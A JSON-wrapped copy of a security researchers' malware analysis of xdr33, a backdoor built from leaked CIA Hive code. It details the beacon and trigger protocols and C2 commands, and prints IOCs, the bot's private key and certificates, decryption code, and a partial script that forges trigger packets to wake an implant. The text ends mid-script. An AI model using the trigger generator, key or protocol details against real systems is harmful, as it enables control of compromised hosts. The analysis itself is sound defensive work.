{
	"id": "a3e706b7-e4fb-40d4-8ccb-91c773463bda",
	"created_at": "2026-04-06T00:15:12.291292Z",
	"updated_at": "2026-04-10T03:20:01.588016Z",
	"deleted_at": null,
	"sha1_hash": "f3cb1cf008a98ec0fd53013f6b8efa9e3612e1e0",
	"title": "Heads up! Xdr33, A Variant Of CIA’s HIVE Attack Kit Emerges",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1807228,
	"plain_text": "Heads up! Xdr33, A Variant Of CIA’s HIVE Attack Kit Emerges\r\nBy Alex.Turing\r\nPublished: 2023-01-10 · Archived: 2026-04-05 12:41:18 UTC\r\nOverview\r\nOn Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file\r\nee07a74d12c0bb3594965b51d0e45b6f , which propagated via F5 vulnerability with zero VT detection, our system\r\nobservces that it communicates with IP 45.9.150.144 using SSL with forged Kaspersky certificates, this\r\ncaught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive\r\nproject server source code from CIA. This is the first time we caught a variant of the CIA HIVE attack kit in\r\nthe wild, and we named it xdr33 based on its embedded Bot-side certificate CN=xdr33 .\r\nTo summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive\r\ninformation and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses\r\nXTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode\r\nenabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which\r\nbeacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the\r\ncommands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal\r\nthe Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits\r\nfor the execution of the commands issued by it.\r\nThe functional schematic is shown below.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 1 of 26\n\nHive uses the BEACON_HEADER_VERSION macro to define the specified version, which has a value of 29 on the\r\nMaster branch of the source code and a value of 34 in xdr33 , so perhaps xdr33 has had several rounds of\r\niterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:\r\nNew CC instructions have been added\r\nWrapping or expanding functions\r\nStructs have been reordered and extended\r\nTrigger message format\r\nAddition of CC operations to the Beacon task\r\nThese modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that\r\nthe vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve\r\non the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source\r\ncode.\r\nVulnerability Delivery Payload\r\nThe md5 of the Payload we captured is ad40060753bc3a1d6f380a5054c1403a , and its contents are shown below.\r\nThe code is simple and straightforward, and its main purpose is to\r\nDownload the next stage of the sample and disguise it as /command/bin/hlogd .\r\nInstall logd service for persistence.\r\nSample analysis\r\nWe captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 2 of 26\n\nMD5:ee07a74d12c0bb3594965b51d0e45b6f\r\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\r\nPacker: None\r\nSimply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then\r\nchecks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise\r\ninitialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions\r\nbeacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.\r\nThe following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary\r\ninversion; at the same time, we also compare and analyze the source code to see what changes have occurred.\r\nDecrypting configuration information\r\nxdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple,\r\ni.e., byte-by-byte inverse.\r\nIn IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we\r\nimplemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 3 of 26\n\nThe decryption results are shown below, including Beacon C2 45.9.150.144 , runtime prompt messages,\r\ncommands to view device information, etc.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 4 of 26\n\nBeacon Task\r\nThe main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related\r\ndevice information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to\r\nC2; finally wait for the execution of the commands issued by C2.\r\n0x01: Information Collection\r\nMAC\r\nQuery MAC by SIOCGIFCON or SIOCGIFHWADDR\r\nSystemUpTime\r\nCollects system up time via /proc/uptime\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 5 of 26\n\nProcess and network-related information\r\nCollect process, NIC, network connection, and routing information by executing the following 4\r\ncommands\r\n0x02: Information processing\r\nXdr33 combines different device information through the update_msg function\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 6 of 26\n\nIn order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and\r\n\"3, 4, 5, 6\" in the above figure represents different Header Type.\r\ntypedef struct __attribute__ ((packed)) add_header {\r\nunsigned short type;\r\nunsigned short length;\r\n} ADD_HDR;\r\nWhat does \"3, 4, 5, 6\" represent exactly? This depends on the definition of Header Types in the source code below.\r\nxdr33 is extended on this basis, with two new values 0 and 9, representing Sha1[:32] of MAC , and PID of\r\nxdr33 respectively\r\nSome of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it\r\ncontains the device information with head type 0,1,2,7,9,3.\r\nIt is worth mentioning that type=0, Sha1[:32] of MAC , which means that it takes the first 32 bytes of MAC\r\nSHA1. Take the mac in the above figure as an example, its calculation process is as follows.\r\nmac:00-0c-29-94-d9-43,remove \"-\"\r\nresult:00 0c 29 94 d9 43\r\nsha1 of mac:\r\nresult:c55c77695b6fd5c24b0cf7ccce3e464034b20805\r\nsha1[:32] of mac:\r\nresult:c55c77695b6fd5c24b0cf7ccce3e4640\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 7 of 26\n\nWhen all the device information is combined, use bzip to compress it and add 2 bytes of beacon_header_version\r\nand 2 bytes of OS information in the header.\r\n0x03: Network Communication\r\nThe communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each\r\nstep will be analyzed in detail below.\r\nTwo-way SSL authentication\r\nObtain XTEA key\r\nReport XTEA encrypted device information to C2\r\nExecute the commands sent by C2\r\nStep1: Two-way SSL Authentication\r\nTwo-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it\r\nis obvious that Bot and C2 request each other's certificate and verify the process.\r\nThe author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the\r\nrequired Bot certificate, C2 certificate and CA certificate.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 8 of 26\n\nThe CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.\r\nThe Bot certificate can be viewed using openssl x509 -in Cert -inform DER -noout -text , where CN=xdr33,\r\nwhich is where the family name comes from.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 9 of 26\n\nYou can use openssl s_client -connect 45.9.150.144:443 to see the C2 certificate. bot, C2 certificates are\r\ndisguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.\r\nThe CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this\r\nactivity is after 2022.10.7.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 10 of 26\n\nStep2: Obtain XTEA key\r\nAfter establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following\r\ncode snippet.\r\nThe processing logic is.\r\n1. Bot sends 64 bytes of data to C2 in the format of \"length of device information length string (xor 5) +\r\ndevice information length string (xor 5) + random data\".\r\n2. Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code\r\nto get the KEY is as follows.\r\nXOR_KEY=5\r\ndef get_key(rand_bytes):\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 11 of 26\n\noffset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15\r\nreturn rand_bytes[(offset+1):(offset+17)]\r\nStep3: Report XTEA encrypted device information to C2\r\nBot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the\r\ndevice information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2\r\nreplies with the number of bytes it has accepted.\r\nIt is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the\r\nSSL-negotiated encryption suite for network traffic, and no longer uses XTEA.\r\nStep4: Waiting for execution command (new function added by xdr33)\r\nAfter the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0,\r\nit will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 12 of 26\n\nreceives the task, parses it, and executes the corresponding instruction.\r\nThe supported instructions are shown in the following table.\r\nIndex Function\r\n0x01 Download File\r\n0x02 Execute CMD with fake name \"[kworker/3:1-events]\"\r\n0x03 Update\r\n0x04 Upload File\r\n0x05 Delete\r\n0x08 Launch Shell\r\n0x09 Socket5 Proxy\r\n0x0b Update BEACONINFO\r\nNetwork Traffic Example\r\nThe actual step2 traffic generated by xdr33\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 13 of 26\n\nThe interaction in step3, and the traffic from step4\r\nWhat information can we get from this?？\r\n1. The length of the device information length string, 0x1 ^ 0x5 = 0x4\r\n2. The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720\r\n3. tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A\r\n4. C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which\r\ncorresponds to the second point\r\n5. The number of tasks in this cycle is 00 00 00 00 00 00 00 , i.e. there is no task, so no specific task of 264\r\nbytes will be issued.\r\nThe encrypted device information can be decrypted by the following code, and the decrypted data is 00 22 00 14\r\n42 5A 68 39 , which contains the beacon_header_version + os + bzip magic , and the previous analysis can\r\ncorrespond to one by one.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 14 of 26\n\nimport hexdump\r\nimport struct\r\ndef xtea_decrypt(key,block,n=32,endian=\"!\"):\r\n v0,v1 = struct.unpack(endian+\"2L\", block)\r\n k = struct.unpack(endian+\"4L\",key)\r\n delta,mask = 0x9e3779b9,0xffffffff\r\n sum = (delta * n) \u0026 mask\r\n for round in range(n):\r\n v1 = (v1 - (((v0\u003c\u003c4 ^ v0\u003e\u003e5) + v0) ^ (sum + k[sum\u003e\u003e11 \u0026 3]))) \u0026 mask\r\n sum = (sum - delta) \u0026 mask\r\n v0 = (v0 - (((v1\u003c\u003c4 ^ v1\u003e\u003e5) + v1) ^ (sum + k[sum \u0026 3]))) \u0026 mask\r\n return struct.pack(endian+\"2L\",v0,v1)\r\ndef decrypt_data(key,data):\r\n size = len(data)\r\n i = 0\r\n ptext = b''\r\n while i \u003c size:\r\n if size - i \u003e= 8:\r\n ptext += xtea_decrypt(key,data[i:i+8])\r\n i += 8\r\n return ptext\r\nkey=bytes.fromhex(\"\"\"\r\n2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A\r\n\"\"\")\r\nenc_buf=bytes.fromhex(\"\"\"\r\n65 d8 b1 f9 b8 37 37 eb\r\n\"\"\")\r\nhexdump.hexdump(decrypt_data(key,enc_buf))\r\nTrigger Task\r\nThe main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format.\r\nOnce the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot\r\nestablishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.\r\n0x1: Listening for traffic\r\nUse the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP\r\nmessages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP\r\nand the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will\r\nincrease the CPU load, in fact using BPF-Filter on sockets will work better.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 15 of 26\n\n0x2: Checksum Trigger packets\r\nTCP and UDP messages that meet the length requirement are further verified using the same check_payload\r\nfunction.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 16 of 26\n\ncheck_payload的代码如下所示:\r\nThe processing logic can be seen as follows.\r\nUse CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get\r\ncrcValue\r\nThe offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset\r\nVerify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step\r\nCheck if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step\r\nTrigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting\r\nposition of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod\r\nSo far it can be determined that the Trigger message format is as follows\r\n0x3: Checksum Trigger Payload\r\nIf the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 17 of 26\n\nThe processing logic can be seen as follows\r\nTake the last 2 bytes of the Trigger Payload and write it as crcRaw\r\nSet the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc\r\nCompare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.\r\nNext, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1\r\n46a3c308401e03d3195c753caa14ef34a3806593 in the Bot. If it is equal, it means that the Trigger Payload is also\r\nvalid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait\r\nfor the execution of its issued command.\r\nThe format of the Trigger Payload can be determined as follows.\r\n0x4: Execution of Trigger C2's command\r\nAfter a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger\r\nPayload and waits for the execution of the instructions issued by the C2.\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 18 of 26\n\nThe supported instructions are shown in the following table.\r\nIndex Function\r\n0x00,0x00a Exit\r\n0x01 Download File\r\n0x02 Execute CMD\r\n0x04 Upload File\r\n0x05 Delete\r\n0x06 Shutdown\r\n0x08 Launch SHELL\r\n0x09 SOCKET5 PROXY\r\n0x0b Update BEACONINFO\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 19 of 26\n\nIt is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an\r\nSSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the\r\nAES algorithm to create a second layer of encryption.\r\nExperiment\r\nTo verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the\r\nSHA1 of NetlabPatched,Enjoy! and implement the GenTrigger code in the appendix to generate UDP type\r\nTrigger messages.\r\nWe run the Patch in the virtual machine 192.168.159.133 after the xdr33 sample, the construction of C2 for\r\n192.168.159.128:6666 Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as\r\nfollows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected\r\nthe same, launched a communication request to the preset Trigger C2, Cool!\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 20 of 26\n\nReaders are always welcomed to reach us on twitter or email us to netlab[at]360.cn.\r\nIOC\r\nsample\r\nee07a74d12c0bb3594965b51d0e45b6f\r\npatched sample\r\naf5d2dfcafbb23666129600f982ecb87\r\nC2\r\n45.9.150.144:443\r\nBOT Private Key\r\n-----BEGIN RSA PRIVATE KEY-----\r\nMIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ\r\nmIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je\r\no17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI\r\n4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK\r\nyTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut\r\n90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 21 of 26\n\nNljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG\r\naRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE\r\n49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/\r\nKVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf\r\n0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk\r\nIto7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb\r\nZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu\r\nYH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/\r\nzygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8\r\naIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI\r\nhQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd\r\n+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC\r\n7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi\r\nFzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj\r\nGe17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet\r\nKV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf\r\n7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD\r\npoCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+\r\n7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID\r\n-----END RSA PRIVATE KEY-----\r\nBOT Certificate\r\n-----BEGIN CERTIFICATE-----\r\nMIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\r\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\r\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\r\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\r\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\r\nMB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV\r\nMR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l\r\nZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM\r\nBk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\r\nAoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh\r\nJlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0\r\nalW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz\r\nWtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv\r\nc+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q\r\n1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA\r\nMB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz\r\nBcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV\r\nBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU\r\naGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2\r\naWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB\r\nMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 22 of 26\n\nA1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B\r\nAQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy\r\nqend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P\r\no6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c\r\nd707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3\r\nngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI\r\nlHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==\r\n-----END CERTIFICATE-----\r\nCA Certificate\r\n-----BEGIN CERTIFICATE-----\r\nMIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\r\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\r\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\r\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\r\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\r\nMB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB\r\nMRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG\r\nA1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp\r\nb24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl\r\ncnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv\r\nbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr\r\n3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg\r\n3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d\r\nhbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV\r\nAV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf\r\ntLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC\r\nJzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb\r\n8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0\r\n/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl\r\nMRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n\r\nIGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw\r\nHwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW\r\nGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G\r\nCSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF\r\ntLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6\r\nu4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw\r\nLCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//\r\nkzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm\r\nyRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX\r\n-----END CERTIFICATE-----\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 23 of 26\n\n附录\r\n0x1 Decode_RES\r\nimport idautils\r\nimport ida_bytes\r\ndef decode(addr,len):\r\n tmp=bytearray()\r\n \r\n buf=ida_bytes.get_bytes(addr,len)\r\n for i in buf:\r\n tmp.append(~i\u00260xff)\r\n print(\"%x, %s\" %(addr,bytes(tmp)))\r\n ida_bytes.put_bytes(addr,bytes(tmp))\r\n idc.create_strlit(addr,addr+len)\r\n \r\ncalllist=idautils.CodeRefsTo(0x0804F1D8,1)\r\nfor addr in calllist:\r\n prev1Head=idc.prev_head(addr)\r\n if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:\r\n bufaddr=idc.get_operand_value(prev1Head,0)\r\n prev2Head=idc.prev_head(prev1Head)\r\n \r\n if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:\r\n leng=idc.get_operand_value(prev2Head,0)\r\n decode(bufaddr,leng)\r\n0x02 GenTrigger\r\nimport random\r\nimport socket\r\ndef crc16(data: bytearray, offset, length):\r\n if data is None or offset \u003c 0 or offset \u003e len(data) - 1 and offset + length \u003e len(data):\r\n return 0\r\n crc = 0xFFFF\r\n for i in range(0, length):\r\n crc ^= data[offset + i] \u003c\u003c 8\r\n for j in range(0, 8):\r\n if (crc \u0026 0x8000) \u003e 0:\r\n crc = (crc \u003c\u003c 1) ^ 0x1021\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 24 of 26\n\nelse:\r\n crc = crc \u003c\u003c 1\r\n return crc \u0026 0xFFFF\r\ndef Gen_payload(ip:str,port:int):\r\n out=bytearray()\r\n part1=random.randbytes(92)\r\n sum=crc16(part1,8,84)\r\n \r\n offset1=sum % 0xc8\r\n offset2=sum % 0x37\r\n padding1=random.randbytes(offset1)\r\n padding2=random.randbytes(8)\r\n \r\n \r\n host=socket.inet_aton(ip)\r\n C2=bytearray(b'\\x01')\r\n C2+=host\r\n C2+=int.to_bytes(port,2,byteorder=\"big\")\r\n key=b'NetlabPatched,Enjoy!'\r\n C2 = C2+key +b'\\x00\\x00'\r\n c2sum=crc16(C2,0,29)\r\n C2=C2[:-2]\r\n C2+=(int.to_bytes(c2sum,2,byteorder=\"big\"))\r\n flag=0x7f*10\r\n out+=part1\r\n out+=padding1\r\n out+=(int.to_bytes(sum,2,byteorder=\"big\"))\r\n out+=(int.to_bytes(flag,2,byteorder=\"big\"))\r\n 